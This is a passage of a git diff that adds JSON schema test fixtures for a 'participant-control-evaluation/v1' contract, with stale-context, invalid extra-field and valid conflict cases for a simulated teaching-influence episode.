"reflection-result", + "participant_address": "participants.student", + "episode_id": "episode-1", + "disclosure_ref": { + "kind": "disclosure", + "ref": "disclosure-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + }, + "evidence": [ + { + "kind": "evidence", + "ref": "effect-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + }, + "evidence": [ + { + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "next_provider_state": null + } + ], + "support": [ + { + "instance_id": "influence", + "feature": "participant_modular_control", + "declaration_ref": { + "kind": "manifest", + "ref": "backend-manifest", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "declared_level": "exact", + "effective_level": "exact", + "status": "resolved", + "context_digest": "sha256:cd7174c65aaf33361a2ebad4fc5f7b36f6a578579dcff266dc3c9915296bfef7", + "installation": { + "kind": "installation", + "ref": "not-installed", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "constraints": [], + "limitations": [ + { + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "evidence": [ + { + "kind": "evidence", + "ref": "support-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "downgrade_authority": null + } + ], + "composition": { + "rule_revision": "sem-235/rev1", + "disposition": "eligible", + "blockers": [], + "contributing_result_ids": [ + "result-fact", + "result-rule" + ], + "incumbent_gate_disposition": "permit", + "incumbent_gate_evidence": { + "kind": "evidence", + "ref": "gate-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + }, + "realizations": [] +} diff --git a/contracts/fixtures/participant-runtime/participant-control-evaluation-v1/context-invalid/stale.json b/contracts/fixtures/participant-runtime/participant-control-evaluation-v1/context-invalid/stale.json new file mode 100644 index 000000000..6e17bbb63 --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-control-evaluation-v1/context-invalid/stale.json @@ -0,0 +1,405 @@ +{ + "schema_version": "participant-control-evaluation/v1", + "evaluation_id": "evaluation-1", + "request": { + "selection": { + "schema_version": "participant-control-selection/v1", + "selection_id": "selection-1", + "semantic_revision": "sem-235/rev1", + "apparatus": { + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "required_profiles": [ + "teaching-influence" + ], + "bindings": [ + { + "instance_id": "influence", + "profiles": [ + { + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1", + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630" + } + ], + "mechanism": { + "kind": "mechanism", + "ref": "propagation", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "protocol_revision": "participant-control-provider/v1", + "implementation": { + "kind": "implementation", + "ref": "provider-artifact", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "authority": { + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "memory_scope": { + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "applicability": [ + { + "participant_address": "participants.student", + "episode_id": "episode-1", + "direction": "ingress", + "sink_ref": "teaching-observation", + "phase_ref": "practice", + "subject_kind": "participant-observation" + } + ], + "evidence": [ + { + "kind": "evidence", + "ref": "binding-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "limitations": [ + { + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + } + ], + "slots": [ + { + "slot_id": "fact", + "instance_id": "influence", + "kind": "ifc-fact", + "role": "mandatory", + "dependencies": [] + }, + { + "slot_id": "rule", + "instance_id": "influence", + "kind": "effect-request", + "role": "mandatory", + "dependencies": [ + { + "slot_id": "fact", + "kind": "ifc-fact" + } + ] + } + ], + "bounds": { + "max_depth": 2, + "max_effects": 2, + "max_fanout": 2, + "max_firings_per_rule": 1, + "max_attempts": 3, + "expires_at_order": 20 + }, + "evidence": [ + { + "kind": "evidence", + "ref": "selection-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + }, + "context": { + "run": { + "kind": "run", + "ref": "run-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "apparatus": { + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "participant_address": "participants.student", + "episode_id": "episode-1", + "subject": { + "subject_kind": "participant-observation", + "contract_id": "participant-observation-envelope-v1", + "subject_ref": "observation-1", + "subject_revision": "rev1", + "subject_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "participant_address": "participants.student", + "episode_id": "episode-1" + }, + "crossing": { + "kind": "crossing", + "ref": "crossing-1", + "revision": "rev1", + "digest": "sha256:a6041f01335e5816f8452889f857b701ad9605e15805722a434445eaacba7868" + }, + "direction": "ingress", + "sink_ref": "teaching-observation", + "audience_ref": "student-audience", + "destination_ref": "student", + "controller_ref": "teacher", + "authority": { + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "policy": { + "policy_id": "teaching-policy", + "policy_revision": "rev1", + "policy_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "policy_decision_ref": "crossing-decision-1", + "decision_cut_ref": "cut-1", + "effective_order": 1, + "valid_from_order": 0, + "valid_until_order": 20 + }, + "state_cut": { + "cut_kind": "sequence_prefix", + "cut_ref": "cut-1", + "history_domain": "participant_behavior_history", + "order_model": "behavior_history_order", + "anchor_event_ref": "event-1", + "anchor_order": 1, + "history_prefix_length": 2, + "predecessor_event_refs": [ + "event-0" + ] + }, + "expected_history_heads": [ + { + "kind": "history", + "ref": "stale-head", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "provider_states": [ + { + "instance_id": "influence", + "state": { + "kind": "provider-state", + "ref": "state-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + } + ], + "inputs": [ + { + "kind": "input", + "ref": "observation-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "memory_scope": { + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "clock": { + "kind": "clock", + "ref": "clock-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "order": 1, + "phase_ref": "practice", + "trigger_root": "root-1", + "trigger": { + "kind": "trigger", + "ref": "event-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "predecessors": [], + "depth": 0, + "effects_consumed": 0, + "rule_firings": [], + "attempt": 1, + "prior_effect_claims": [] + } + }, + "results": [ + { + "result_id": "result-fact", + "slot_id": "fact", + "instance_id": "influence", + "binding_digest": "sha256:b26671850230e99882888e22e84bc688eda205ed88d1165e03b2635602e47b7c", + "context_digest": "sha256:e66c7765cd1b10b7f58e5d5b03724ebbbc91d2cd85b540c1d3aec63cb0ed3674", + "status": "resolved", + "payload": { + "kind": "ifc-fact", + "domain": "teaching-influence-domain/rev1", + "tokens": [ + "coached-hint" + ], + "source_refs": [ + { + "kind": "input", + "ref": "observation-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + }, + "evidence": [ + { + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "next_provider_state": null + }, + { + "result_id": "result-rule", + "slot_id": "rule", + "instance_id": "influence", + "binding_digest": "sha256:b26671850230e99882888e22e84bc688eda205ed88d1165e03b2635602e47b7c", + "context_digest": "sha256:e66c7765cd1b10b7f58e5d5b03724ebbbc91d2cd85b540c1d3aec63cb0ed3674", + "status": "resolved", + "payload": { + "kind": "effect-request", + "effect_id": "effect-1", + "key": { + "run_ref": "run-1", + "trigger_root": "root-1", + "rule_id": "hint-followup", + "rule_revision": "rev1", + "slot": "followup", + "firing_epoch": "epoch-1" + }, + "rule": { + "kind": "rule", + "ref": "hint-followup", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "authority": { + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "phase": "subsequent", + "predecessor_effect_ids": [], + "target": { + "kind": "inject", + "delivery_ref": { + "kind": "inject-delivery", + "ref": "delivery-binding", + "revision": "rev1", + "digest": "sha256:b72c7c4ee0555898f4d00e542ceedb77dd96b16f65fd6f0fe96e36b3df24f156" + }, + "inject_ref": "inject-1", + "event_ref": "event-inject-1", + "script_ref": "script-1", + "story_ref": "story-1", + "source_item_ref": "reflection-source", + "result_item_ref": "reflection-result", + "participant_address": "participants.student", + "episode_id": "episode-1", + "disclosure_ref": { + "kind": "disclosure", + "ref": "disclosure-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + }, + "evidence": [ + { + "kind": "evidence", + "ref": "effect-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + }, + "evidence": [ + { + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "next_provider_state": null + } + ], + "support": [ + { + "instance_id": "influence", + "feature": "participant_modular_control", + "declaration_ref": { + "kind": "manifest", + "ref": "backend-manifest", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "declared_level": "exact", + "effective_level": "exact", + "status": "resolved", + "context_digest": "sha256:e66c7765cd1b10b7f58e5d5b03724ebbbc91d2cd85b540c1d3aec63cb0ed3674", + "installation": { + "kind": "installation", + "ref": "installation-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "constraints": [], + "limitations": [ + { + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "evidence": [ + { + "kind": "evidence", + "ref": "support-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "downgrade_authority": null + } + ], + "composition": { + "rule_revision": "sem-235/rev1", + "disposition": "eligible", + "blockers": [], + "contributing_result_ids": [ + "result-fact", + "result-rule" + ], + "incumbent_gate_disposition": "permit", + "incumbent_gate_evidence": { + "kind": "evidence", + "ref": "gate-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + }, + "realizations": [] +} diff --git a/contracts/fixtures/participant-runtime/participant-control-evaluation-v1/invalid/executable-selector.json b/contracts/fixtures/participant-runtime/participant-control-evaluation-v1/invalid/executable-selector.json new file mode 100644 index 000000000..705059b86 --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-control-evaluation-v1/invalid/executable-selector.json @@ -0,0 +1,406 @@ +{ + "schema_version": "participant-control-evaluation/v1", + "evaluation_id": "evaluation-1", + "request": { + "selection": { + "schema_version": "participant-control-selection/v1", + "selection_id": "selection-1", + "semantic_revision": "sem-235/rev1", + "apparatus": { + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "required_profiles": [ + "teaching-influence" + ], + "bindings": [ + { + "instance_id": "influence", + "profiles": [ + { + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1", + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630" + } + ], + "mechanism": { + "kind": "mechanism", + "ref": "propagation", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "protocol_revision": "participant-control-provider/v1", + "implementation": { + "kind": "implementation", + "ref": "provider-artifact", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "authority": { + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "memory_scope": { + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "applicability": [ + { + "participant_address": "participants.student", + "episode_id": "episode-1", + "direction": "ingress", + "sink_ref": "teaching-observation", + "phase_ref": "practice", + "subject_kind": "participant-observation" + } + ], + "evidence": [ + { + "kind": "evidence", + "ref": "binding-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "limitations": [ + { + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + } + ], + "slots": [ + { + "slot_id": "fact", + "instance_id": "influence", + "kind": "ifc-fact", + "role": "mandatory", + "dependencies": [] + }, + { + "slot_id": "rule", + "instance_id": "influence", + "kind": "effect-request", + "role": "mandatory", + "dependencies": [ + { + "slot_id": "fact", + "kind": "ifc-fact" + } + ] + } + ], + "bounds": { + "max_depth": 2, + "max_effects": 2, + "max_fanout": 2, + "max_firings_per_rule": 1, + "max_attempts": 3, + "expires_at_order": 20 + }, + "evidence": [ + { + "kind": "evidence", + "ref": "selection-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + }, + "context": { + "run": { + "kind": "run", + "ref": "run-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "apparatus": { + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "participant_address": "participants.student", + "episode_id": "episode-1", + "subject": { + "subject_kind": "participant-observation", + "contract_id": "participant-observation-envelope-v1", + "subject_ref": "observation-1", + "subject_revision": "rev1", + "subject_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "participant_address": "participants.student", + "episode_id": "episode-1" + }, + "crossing": { + "kind": "crossing", + "ref": "crossing-1", + "revision": "rev1", + "digest": "sha256:a6041f01335e5816f8452889f857b701ad9605e15805722a434445eaacba7868" + }, + "direction": "ingress", + "sink_ref": "teaching-observation", + "audience_ref": "student-audience", + "destination_ref": "student", + "controller_ref": "teacher", + "authority": { + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "policy": { + "policy_id": "teaching-policy", + "policy_revision": "rev1", + "policy_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "policy_decision_ref": "crossing-decision-1", + "decision_cut_ref": "cut-1", + "effective_order": 1, + "valid_from_order": 0, + "valid_until_order": 20 + }, + "state_cut": { + "cut_kind": "sequence_prefix", + "cut_ref": "cut-1", + "history_domain": "participant_behavior_history", + "order_model": "behavior_history_order", + "anchor_event_ref": "event-1", + "anchor_order": 1, + "history_prefix_length": 2, + "predecessor_event_refs": [ + "event-0" + ] + }, + "expected_history_heads": [ + { + "kind": "history", + "ref": "history-head", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "provider_states": [ + { + "instance_id": "influence", + "state": { + "kind": "provider-state", + "ref": "state-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + } + ], + "inputs": [ + { + "kind": "input", + "ref": "observation-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "memory_scope": { + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "clock": { + "kind": "clock", + "ref": "clock-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "order": 1, + "phase_ref": "practice", + "trigger_root": "root-1", + "trigger": { + "kind": "trigger", + "ref": "event-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "predecessors": [], + "depth": 0, + "effects_consumed": 0, + "rule_firings": [], + "attempt": 1, + "prior_effect_claims": [] + } + }, + "results": [ + { + "result_id": "result-fact", + "slot_id": "fact", + "instance_id": "influence", + "binding_digest": "sha256:b26671850230e99882888e22e84bc688eda205ed88d1165e03b2635602e47b7c", + "context_digest": "sha256:cd7174c65aaf33361a2ebad4fc5f7b36f6a578579dcff266dc3c9915296bfef7", + "status": "resolved", + "payload": { + "kind": "ifc-fact", + "domain": "teaching-influence-domain/rev1", + "tokens": [ + "coached-hint" + ], + "source_refs": [ + { + "kind": "input", + "ref": "observation-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + }, + "evidence": [ + { + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "next_provider_state": null + }, + { + "result_id": "result-rule", + "slot_id": "rule", + "instance_id": "influence", + "binding_digest": "sha256:b26671850230e99882888e22e84bc688eda205ed88d1165e03b2635602e47b7c", + "context_digest": "sha256:cd7174c65aaf33361a2ebad4fc5f7b36f6a578579dcff266dc3c9915296bfef7", + "status": "resolved", + "payload": { + "kind": "effect-request", + "effect_id": "effect-1", + "key": { + "run_ref": "run-1", + "trigger_root": "root-1", + "rule_id": "hint-followup", + "rule_revision": "rev1", + "slot": "followup", + "firing_epoch": "epoch-1" + }, + "rule": { + "kind": "rule", + "ref": "hint-followup", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "authority": { + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "phase": "subsequent", + "predecessor_effect_ids": [], + "target": { + "kind": "inject", + "delivery_ref": { + "kind": "inject-delivery", + "ref": "delivery-binding", + "revision": "rev1", + "digest": "sha256:b72c7c4ee0555898f4d00e542ceedb77dd96b16f65fd6f0fe96e36b3df24f156" + }, + "inject_ref": "inject-1", + "event_ref": "event-inject-1", + "script_ref": "script-1", + "story_ref": "story-1", + "source_item_ref": "reflection-source", + "result_item_ref": "reflection-result", + "participant_address": "participants.student", + "episode_id": "episode-1", + "disclosure_ref": { + "kind": "disclosure", + "ref": "disclosure-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + }, + "evidence": [ + { + "kind": "evidence", + "ref": "effect-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + }, + "evidence": [ + { + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "next_provider_state": null + } + ], + "support": [ + { + "instance_id": "influence", + "feature": "participant_modular_control", + "declaration_ref": { + "kind": "manifest", + "ref": "backend-manifest", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "declared_level": "exact", + "effective_level": "exact", + "status": "resolved", + "context_digest": "sha256:cd7174c65aaf33361a2ebad4fc5f7b36f6a578579dcff266dc3c9915296bfef7", + "installation": { + "kind": "installation", + "ref": "installation-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "constraints": [], + "limitations": [ + { + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "evidence": [ + { + "kind": "evidence", + "ref": "support-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "downgrade_authority": null + } + ], + "composition": { + "rule_revision": "sem-235/rev1", + "disposition": "eligible", + "blockers": [], + "contributing_result_ids": [ + "result-fact", + "result-rule" + ], + "incumbent_gate_disposition": "permit", + "incumbent_gate_evidence": { + "kind": "evidence", + "ref": "gate-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + }, + "realizations": [], + "provider_module": "forbidden.executable" +} diff --git a/contracts/fixtures/participant-runtime/participant-control-evaluation-v1/valid/conflict.json b/contracts/fixtures/participant-runtime/participant-control-evaluation-v1/valid/conflict.json new file mode 100644 index 000000000..b4a026ac5 --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-control-evaluation-v1/valid/conflict.json @@ -0,0 +1,599 @@ +{ + "schema_version": "participant-control-evaluation/v1", + "evaluation_id": "evaluation-1", + "request": { + "selection": { + "schema_version": "participant-control-selection/v1", + "selection_id": "selection-1", + "semantic_revision": "sem-235/rev1", + "apparatus": { + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "required_profiles": [ + "teaching-influence" + ], + "bindings": [ + { + "instance_id": "influence", + "profiles": [ + { + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1", + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630" + } + ], + "mechanism": { + "kind": "mechanism", + "ref": "propagation", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "protocol_revision": "participant-control-provider/v1", + "implementation": { + "kind": "implementation", + "ref": "provider-artifact", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "authority": { + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "memory_scope": { + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "applicability": [ + { + "participant_address": "participants.student", + "episode_id": "episode-1", + "direction": "ingress", + "sink_ref": "teaching-observation", + "phase_ref": "practice", + "subject_kind": "participant-observation" + } + ], + "evidence": [ + { + "kind": "evidence", + "ref": "binding-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "limitations": [ + { + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1", + "digest": 